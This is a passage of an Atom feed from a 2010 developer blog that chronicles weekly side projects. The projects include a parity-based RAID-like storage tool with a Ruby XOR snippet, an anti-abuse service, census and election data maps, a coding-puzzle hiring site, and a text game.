   <updated>2010-11-15T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/11/lazy-raid-week-2-monday</id>
   <content type="html">&lt;div class='post'&gt;
My partner is on vacation this week so I figured I'd take a little breather as well and instead of working on a fresh project it was time to refine this one some more.&lt;br /&gt;&lt;br /&gt;I'll be targeting some big ticket features such as a GUI and double disk failure as well as some simpler stuff like unit tests and better error handling.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Features:&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Double Disk Failure&lt;/li&gt;&lt;li&gt;Desktop GUI&lt;/li&gt;&lt;li&gt;Cross-Platform Distribution for Mac, Windows and Linux.&lt;/li&gt;&lt;li&gt;Unit Tests&lt;/li&gt;&lt;li&gt;Robust Error Handling&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Lazy Raid - Sunday</title>
   <link href="https://blog.50projects.com/2010/11/lazy-raid-sunday.html"/>
   <updated>2010-11-14T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/11/lazy-raid-sunday</id>
   <content type="html">&lt;div class='post'&gt;
Sometimes technology is like magic. I wrote the underlying code for this program. I tested it, iterated over it, and added new features as I went. But still at the end of the day when I purposefully delete a file and then run the command to recover that file from the parity blocks and other files on different drives. I get positively giddy when the file reappears. It's like magic, except a well understood process that's merely being obscured behind a command line interface.&lt;br /&gt;&lt;br /&gt;For testing purposes I created 3 drives of 5Gb each. Then placed on them some large files totalling about 5.3Gb in size. Then I added them to the LazyRaid configuration, told it to generate parity bits for the drives and it spit out about 2.7Gb of parity bits spread across all three drives. That's single drive redundancy using roughly 1/2 the required space. You can get even bigger space savings when using more drives (ParitySize = FileSize/(NumDisks-1)).&lt;br /&gt;&lt;br /&gt;The code is available on github and will require you to compile a ruby C extension for your machine.&lt;br /&gt;&lt;a href=&quot;https://github.com/pcorliss/LazyRaid&quot;&gt;https://github.com/pcorliss/LazyRaid&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Challenges:&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Ruby is slow - I posted about some challenges mid-week with Ruby's lack of an XOR function for Strings. The code I posted was slow but workable for small datasets. However when working with files that can be up to 2Gb in size a slow XOR function just isn't going to cut it. I ended up writing a Ruby C extension to take care of the heavy lifting since it seems Ruby just wasn't up to the task. I'll post a little more with some speed comparisons next week. Perhaps I can stir up the hornets nest in the Ruby community to generate some traffic and perhaps a more elegant solution.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;Features Missed:&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Double Disk Failure Redundancy - RAID6 uses Galois field calculations to do parity calculations in addition to XOR calculations. Unfortunately I wasn't really up to the task of implementing that this week considering I was working only on basic functionality and struggling with Ruby speed limitations.&lt;/li&gt;&lt;li&gt;FUSE Integration - As the project moved forward integrating it into the OS seemed less important and I headed instead towards running it as a command line app.&lt;/li&gt;&lt;li&gt;Background Parity Calculations - I just ran out of time on this one. Although adding in some sort of IO monitoring and throttling wouldn't be too difficult it wasn't as high on the priority list as some of the other items.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Lazy Raid - Wednesday</title>
   <link href="https://blog.50projects.com/2010/11/lazy-raid-wednesday.html"/>
   <updated>2010-11-10T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/11/lazy-raid-wednesday</id>
   <content type="html">&lt;div class='post'&gt;
Things are coming along a little slowly but I felt I'd share the following code tidbit so others don't run into the same trouble I did.&lt;br /&gt;&lt;pre&gt;class String&lt;br /&gt;  def ^ (second)&lt;br /&gt;    s = &quot;&quot;&lt;br /&gt;    s.force_encoding(&quot;ASCII-8BIT&quot;)&lt;br /&gt;    [self.size,second.size].max.times do |i|&lt;br /&gt;      s &amp;lt;&amp;lt; ((self[i] || 0).ord ^ (second[i] || 0).ord)&lt;br /&gt;    end&lt;br /&gt;    return s&lt;br /&gt;  end&lt;br /&gt;end&lt;br /&gt;&lt;/pre&gt;&lt;a href=&quot;http://www.ruby-forum.com/topic/95760&quot;&gt;via http://www.ruby-forum.com/topic/95760&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It looks like Ruby doesn't have the XOR function available for Strings. This causes some issues when you're working on computing parity blocks for binary data like I am. Further complicating matters is that there are several examples for computing XOR for strings but most of the posts on the subject are from prior to Ruby 1.9 which introduced new defaults for accessing Strings like they're arrays. Prior to Ruby 1.9 &quot;foo&quot;[0] would return 102 or the ASCII value of &quot;f&quot;. Now it returns &quot;f&quot;. Which is great because that's what most people probably expect. But all previous examples that relied on this behavior don't work.&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Lazy Raid - Monday</title>
   <link href="https://blog.50projects.com/2010/11/lazy-raid-monday.html"/>
   <updated>2010-11-08T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/11/lazy-raid-monday</id>
   <content type="html">&lt;div class='post'&gt;
About 4 years ago I started collecting a lot of digital media. I'm going to skip over how this content was procured. At the time I was storing it on my desktop computer's hard drive and using XBMC to stream it to hacked original XBOX. It worked great until I started running out of disk space. So I bought a few more hard drives and everything was fine until those filled up. So I bought some external enclosures and more disks. Eventually those filled up too.&lt;br /&gt;&lt;br /&gt;At this point I had an idea to build a client side program that would lazily create parity blocks across a disparate set of drives to maintain the drive's independence from one another and also create a small safety net in case one of the drives should fail. A very similar system to this already exists in a &lt;a href=&quot;http://en.wikipedia.org/wiki/RAID_5#RAID_5&quot;&gt;RAID-5&lt;/a&gt; set, &lt;a href=&quot;http://en.wikipedia.org/wiki/Non-standard_RAID_levels#UnRAID&quot;&gt;UnRAID&lt;/a&gt; and &lt;a href=&quot;http://www.drobo.com/&quot;&gt;Drobo&lt;/a&gt; devices. But all of those rely on either a dedicated device or system. This would be an independent client that would run as a daemon on a host system. I spent a couple of weekends working on the project but never finished it. The software was written in Perl and I'm guessing was probably quite a mess given my standards today. This week I'll be starting fresh and hopefully finishing it off.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Project Summary:&lt;/b&gt; Build a RAID like system for storing data independent from the host system.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Features:&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Single disk failure redundancy&lt;/li&gt;&lt;li&gt;Double disk failure redundancy&lt;/li&gt;&lt;li&gt;Background parity calculations&lt;/li&gt;&lt;li&gt;Consistency checks&lt;/li&gt;&lt;li&gt;FUSE integration&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Abuse Server - Sunday</title>
   <link href="https://blog.50projects.com/2010/11/abuse-server-sunday.html"/>
   <updated>2010-11-07T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/11/abuse-server-sunday</id>
   <content type="html">&lt;div class='post'&gt;
Yesterday I put the finishing touches on &lt;a href=&quot;https://github.com/pcorliss/AbuseJet&quot;&gt;AbuseJet&lt;/a&gt; and committed them to github. This project went exceptionally well with only minor bumps and bruises along the way. Features just seemed to fall in to place where previously I was worried this particular project was going to require burning the midnight oil. Instead it was all tied up by yesterday afternoon. I left myself a day to write this blog post and upload a working build.xml.&lt;br /&gt;&lt;br /&gt;I'm particularly excited about a clever implementation of AbuseJet that would eliminate captchas except for bots and malicious users. For example a normal user would never see a captcha on your site while you use AbuseJet. But a malicious user or bot would create a few accounts using the same IP address and that would automatically trigger conditional captchas for all future data entry or user creations. Further abuse would trigger tarpitting and eventually blocking. Rendering that IP useless quickly. Meanwhile the built in reporting could be used to run a script to delete the content or optionally alert a human that spam is being created. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;AbuseJet&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt; Prevent DDOS attacks&lt;/li&gt;&lt;li&gt;Tarpit spam bots&lt;/li&gt;&lt;li&gt;Conditional captchas&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;a href=&quot;https://github.com/pcorliss/AbuseJet&quot;&gt;https://github.com/pcorliss/AbuseJet&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I also fixed an issue with EchoServer. Seems I had uploaded the .class files instead of the .java files. You folks need to keep me more honest :-)&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;https://github.com/pcorliss/Echo-Server&quot;&gt;https://github.com/pcorliss/Echo-Server&lt;/a&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Abuse Server - Thursday</title>
   <link href="https://blog.50projects.com/2010/11/abuse-server-thursday.html"/>
   <updated>2010-11-04T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/11/abuse-server-thursday</id>
   <content type="html">&lt;div class='post'&gt;
I'm in the enviable position of having completed the bulk of the work for this project ahead of schedule. But the big features listed are running and working correctly. I've even gotten the initial prototype up on github.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;https://github.com/pcorliss/AbuseJet&quot;&gt;https://github.com/pcorliss/AbuseJet&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;More work still needs to be done, documentation, alerts, reporting, etc....&lt;br /&gt;&lt;br /&gt;In the meantime enjoy.&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Abuse Server - Monday</title>
   <link href="https://blog.50projects.com/2010/11/abuse-server-monday.html"/>
   <updated>2010-11-01T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/11/abuse-server-monday</id>
   <content type="html">&lt;div class='post'&gt;
At a previous place of employment we had massive problems with abuse. Early on it was fairly rare since our platform wasn't as well known as something like drupal or wordpress. We started with inconsistent flare ups of abusive activity. Most of it wasn't even automated. Just a one or two users solving captchas and creating accounts then posting links to pharmaceuticals. Often the abusive activity was ignored since it wasn't visible and we didn't have any automated tools to handle bulk deletion of accounts or content. But after a while it became very visible. We started getting hit by a single ip creating thousands of pieces of content an hour. Cleanup took almost as long as it took to create the content and in some cases longer. After blocking the abusive IP we started getting hit from multiple IPs and soon we were getting hit by a botnet. The response was to put captchas on almost all of the content creation tools and put permanent blocks on the abusive IP addresses.&lt;br /&gt;&lt;br /&gt;This week's project will center around countering abuse like this. I'll be developing an open source stand alone service that a company can plug into their architecture. I'll post the github link as soon as I've finished the first prototype.&lt;br /&gt;&lt;br /&gt;Project Summary: Service which interacts with web services to help protect against abusive traffic.&lt;br /&gt;&lt;br /&gt;Features:&lt;br /&gt;Simple Restful Interface&lt;br /&gt;Standalone Service&lt;br /&gt;User Configurable Thresholds and Throttling&lt;br /&gt;Alerts&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Parsing Census Data For Fun and Profit - Thursday</title>
   <link href="https://blog.50projects.com/2010/10/parsing-census-data-for-fun-and-profit_28.html"/>
   <updated>2010-10-28T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/10/parsing-census-data-for-fun-and-profit_28</id>
   <content type="html">&lt;div class='post'&gt;
The numbers are in and according to my calculations using the 2000 census educational attainment data and the 2008 county election results.&lt;br /&gt;&lt;br /&gt;Obama won 53.88% of the college educated vote&lt;br /&gt;Obama won 53.68% of the vote overall&lt;br /&gt;&lt;br /&gt;Not much of a correlation. And while we can't make assumptions about college education correlating with intelligence I think it's safe to say that people aren't morons just for voting for the republicans or democrats.&lt;br /&gt;&lt;br /&gt;See my &lt;a href=&quot;http://blog.50projects.com/2010/10/parsing-census-data-for-fun-and-profit.html&quot;&gt;previous post&lt;/a&gt; for an explanation of the colors in the maps below. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_nR-AKoVjo_4/TMevYneHIcI/AAAAAAAAACo/bY0XVVr8nSY/s1600/2000_census_college.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;126&quot; src=&quot;http://4.bp.blogspot.com/_nR-AKoVjo_4/TMevYneHIcI/AAAAAAAAACo/bY0XVVr8nSY/s200/2000_census_college.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;2000 Census Educational Attainment&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_nR-AKoVjo_4/TMevZ6OJgAI/AAAAAAAAACs/yTWCj6RHOuY/s1600/2008_election.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;126&quot; src=&quot;http://1.bp.blogspot.com/_nR-AKoVjo_4/TMevZ6OJgAI/AAAAAAAAACs/yTWCj6RHOuY/s200/2008_election.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;2008 Presidential Election&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_nR-AKoVjo_4/TMevZ6OJgAI/AAAAAAAAACs/yTWCj6RHOuY/s1600/2008_election.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_nR-AKoVjo_4/TMevYneHIcI/AAAAAAAAACo/bY0XVVr8nSY/s1600/2000_census_college.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_nR-AKoVjo_4/TMevXmGOJZI/AAAAAAAAACk/dBUJv7M2zHc/s1600/2008_by_college.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;126&quot; src=&quot;http://1.bp.blogspot.com/_nR-AKoVjo_4/TMevXmGOJZI/AAAAAAAAACk/dBUJv7M2zHc/s200/2008_by_college.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Election Education Composite&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_nR-AKoVjo_4/TMevXmGOJZI/AAAAAAAAACk/dBUJv7M2zHc/s1600/2008_by_college.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Parsing Census Data For Fun and Profit - Tuesday</title>
   <link href="https://blog.50projects.com/2010/10/parsing-census-data-for-fun-and-profit_27.html"/>
   <updated>2010-10-27T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/10/parsing-census-data-for-fun-and-profit_27</id>
   <content type="html">&lt;div class='post'&gt;
Some early results from working with census and election data. The first two graphs represent the 2008 presidential election where blue represents Obama and red represents McCain. The second graph represents people over the age of 25 who have had at least some college education.&lt;br /&gt;&lt;br /&gt;The third graph is a composite of the two. Light blues and orange represent a high percentage of education and a bias towards one candidate or the other. While dark blues and reds represent relatively low levels of education along with bias towards one candidate or another. I'll provide some numbers showing any actual correlation with educational attainment and voting later on in the week.&lt;br /&gt;&lt;br /&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_nR-AKoVjo_4/TMevYneHIcI/AAAAAAAAACo/bY0XVVr8nSY/s1600/2000_census_college.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;126&quot; src=&quot;http://4.bp.blogspot.com/_nR-AKoVjo_4/TMevYneHIcI/AAAAAAAAACo/bY0XVVr8nSY/s200/2000_census_college.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;2000 Census Educational Attainment&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_nR-AKoVjo_4/TMevZ6OJgAI/AAAAAAAAACs/yTWCj6RHOuY/s1600/2008_election.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;126&quot; src=&quot;http://1.bp.blogspot.com/_nR-AKoVjo_4/TMevZ6OJgAI/AAAAAAAAACs/yTWCj6RHOuY/s200/2008_election.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;2008 Presidential Election&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_nR-AKoVjo_4/TMevZ6OJgAI/AAAAAAAAACs/yTWCj6RHOuY/s1600/2008_election.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_nR-AKoVjo_4/TMevYneHIcI/AAAAAAAAACo/bY0XVVr8nSY/s1600/2000_census_college.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_nR-AKoVjo_4/TMevXmGOJZI/AAAAAAAAACk/dBUJv7M2zHc/s1600/2008_by_college.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;126&quot; src=&quot;http://1.bp.blogspot.com/_nR-AKoVjo_4/TMevXmGOJZI/AAAAAAAAACk/dBUJv7M2zHc/s200/2008_by_college.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Election Education Composite&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_nR-AKoVjo_4/TMevXmGOJZI/AAAAAAAAACk/dBUJv7M2zHc/s1600/2008_by_college.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Parsing Census Data For Fun and Profit - Monday</title>
   <link href="https://blog.50projects.com/2010/10/parsing-census-data-for-fun-and-profit.html"/>
   <updated>2010-10-25T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/10/parsing-census-data-for-fun-and-profit</id>
   <content type="html">&lt;div class='post'&gt;
Something that I've been missing since leaving my last job has been the opportunity to parse large data sets and pull out meaningful information. At Wetpaint I was able to write scripts and hadoop jobs to parse gigabytes of access logs. My efforts were directly responsible for identifying and removing abuse from the system as well as highlighting bottlenecks that weren't apparent at first glance. That's why this week I'll be focusing on parsing and presenting large quantities of data. First step will be parsing US Census data and providing detailed maps correlating things like education, race and income with the 2008 presidential election. Afterwards I'll move on to building out some infographics for easy digestion and consumption.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Project Summary:&lt;/b&gt; Develop Infographics using US Census Data&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Features:&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Parsed US Census Data&lt;/li&gt;&lt;li&gt;Queryable Database&lt;/li&gt;&lt;li&gt;Graphical Output in Vector Format&lt;/li&gt;&lt;li&gt;Pretty Infographics&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>PuzzleHire - Sunday Week 2</title>
   <link href="https://blog.50projects.com/2010/10/puzzlehire-sunday-week-2.html"/>
   <updated>2010-10-24T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/10/puzzlehire-sunday-week-2</id>
   <content type="html">&lt;div class='post'&gt;
Signed, sealed and not quite delivered. The site is finished and working to my satisfaction but I'll be shelving it for now in favor of waiting for a point where I can devote more marketing resources to it. It has potential but requires a critical mass of puzzles, developers and recruiters to be viable. I'll keep you folks updated.&lt;br /&gt;&lt;br /&gt;In the meantime watch out for tomorrows post. All signs point to large scale data processing with hadoop.&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>PuzzleHire - Monday Week 2</title>
   <link href="https://blog.50projects.com/2010/10/puzzlehire-monday-week-2.html"/>
   <updated>2010-10-18T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/10/puzzlehire-monday-week-2</id>
   <content type="html">&lt;div class='post'&gt;
The project continues, I finished up the templating of the basic app last night. All major functionality and the backend is complete. This week we'll see further refinement into a full realized product. Stay tuned for screenshots, demos and more information on what this site is all about.&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Puzzle Hire - Monday</title>
   <link href="https://blog.50projects.com/2010/10/puzzle-hire-monday.html"/>
   <updated>2010-10-11T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/10/puzzle-hire-monday</id>
   <content type="html">&lt;div class='post'&gt;
One of the more embarrassing experiences I've had during my career was interviewing a candidate that was unable to implement a loop to print out the numbers 1 to 100. I had read this person's resume, conducted a phone screen and recommended they be brought in for an interview loop. I also had to ask him to leave after the first round of the interview as this person clearly wasn't going to be able to perform the required job function. I vowed there and then that I was never going to let a candidate dupe me like that. I had to stop taking candidates with &quot;2 years of shell and Perl scripting experience&quot; at face value and verify it or distribute homework problems.&lt;br /&gt;&lt;br /&gt;But there has to be a better way and that's where this week's project comes into play. What if you could verify coding ability, see code samples and contact an already existing set of job seekers? Or what if you are a job seeker looking for work, wouldn't it be great to complete a few coding puzzles, mark yourself as available for hire, and then get contacted by recruiters or companies looking for someone with your skills?&lt;br /&gt;&lt;br /&gt;This particular project may be split later in the week and extended into a two-part project as the scope is fairly large at this point. In the meantime I'm also going to concentrate more on the core application and less on monetization right now.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Project Summary:&lt;/b&gt; Build a site where developers can complete puzzles similar to &lt;a href=&quot;http://code.google.com/codejam&quot;&gt;Google Code Jam&lt;/a&gt; or &lt;a href=&quot;http://www.rubyquiz.com/&quot;&gt;Ruby Quiz&lt;/a&gt; and companies can contact interested candidates and view code samples.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Planned Features:&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Large corpus of programming puzzles&lt;/li&gt;&lt;li&gt;Input/Output data sets similar to google code jam&lt;/li&gt;&lt;li&gt;Messaging system to protect user privacy from recruiters&lt;/li&gt;&lt;li&gt;Github and Stack Overflow reputation integration&lt;/li&gt;&lt;li&gt;Plagiarism Detection&lt;/li&gt;&lt;li&gt;User Submittable Puzzles &lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>The Big Game - Sunday</title>
   <link href="https://blog.50projects.com/2010/10/big-game-sunday.html"/>
   <updated>2010-10-10T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/10/big-game-sunday</id>
   <content type="html">&lt;div class='post'&gt;
Video games in my teenage years were a passion for me. I spent a week living out what one might describe as my adolescent dream. And I even succeeded in developing my first game from start to finish. It's text based, it's unconventional and unfortunately it's incredibly boring. But at the very least I've finished building all of the essential game mechanics. I just failed to make it terribly interesting or worth playing. With more work it may be salvageable. But this project definetly falls into the failure category despite work being completed.&lt;br /&gt;&lt;br /&gt;On a positive note it was fun to build out an interactive system and see a world built procedurally from a seeded random number generator. I have a new found respect for game developers. Especially the smaller indie developers trying to make it in an arena dominated by the behemoths like EA.&lt;br /&gt;&lt;br /&gt;Tomorrow I'll outline the next project. For now we'll be going back to web apps and I'm considering jumping in with both feet into yet another framework, &lt;a href=&quot;http://www.djangoproject.com/&quot;&gt;Django&lt;/a&gt;. We'll see how that turns out.&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>The Big Game - Monday</title>
   <link href="https://blog.50projects.com/2010/10/big-game-monday.html"/>
   <updated>2010-10-04T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/10/big-game-monday</id>
   <content type="html">&lt;div class='post'&gt;
Perhaps you were like me as a kid, good with computers, chalked full of a false sense of confidence, and played too many video games. This naturally left you wanting to build a video game of your own. However you had no prior experience programming and only a vague sense that you might need a compiler for something at some point. Regardless you got to work with your graph paper and started designing levels and features with your friends. The harsh realization that building a game was a lot of hard work and required some fundamentals that you might not have developer yet showed up later.&lt;br /&gt;&lt;br /&gt;I'll let you folks in on a secret, I've never actually built a game. Not even a space invaders clone. I've started several over the years, but I've never actually gotten close to completing one. I've been kicking around an idea for a simple game. The focus will be on play rather than graphics and may even be text based. It likely won't make money, it may not even be fun, but at the very least it will be fun to try my hand at game development.&lt;br /&gt;&lt;br /&gt;More details on exactly what the game will entail will come later in the week. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Project Summary:&lt;/b&gt; Build a fun, playable game. Fun optional.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Features&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Rudimentary Graphics&lt;/li&gt;&lt;li&gt;Text Based Interface&lt;/li&gt;&lt;li&gt;Replayability&lt;/li&gt;&lt;li&gt;Keep in mind portability to mobile and web platforms.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>API/SaaS Wrapper - Sunday</title>
   <link href="https://blog.50projects.com/2010/10/apisaas-wrapper-sunday.html"/>
   <updated>2010-10-03T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/10/apisaas-wrapper-sunday</id>
   <content type="html">&lt;div class='post'&gt;
